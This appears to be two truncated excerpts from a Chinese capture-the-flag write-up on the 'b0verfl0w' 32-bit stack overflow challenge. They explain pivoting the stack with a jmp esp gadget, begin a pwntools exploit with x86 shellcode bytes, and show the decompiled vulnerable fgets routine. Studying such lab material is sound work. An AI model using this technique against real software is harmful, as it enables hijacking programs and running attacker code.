ret相当于执行pop eip 所以当ret的位置为0x08048504的时候,就会执行jmp esp,同时esp+4,eip指向sub esp,0x28;jmp esp ,这样就可以劫持esp,跳转执行shellcode exp如下(参考WiKi) frompwnimport*context.arch='i386'r= process('./b0verfl0w') shellcode="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"shellcod...
2.首先在本地运行一下对比一下源码效果 signed int vul() { char s; // [sp+18h] [bp-20h]@1 puts("\n==="); puts("\nWelcome to X-CTF 2016!"); puts("\n==="); puts("What's your name?"); fflush(stdout); fgets(&s, 50, stdin); // printf("Hello %s.", &s); fflush(...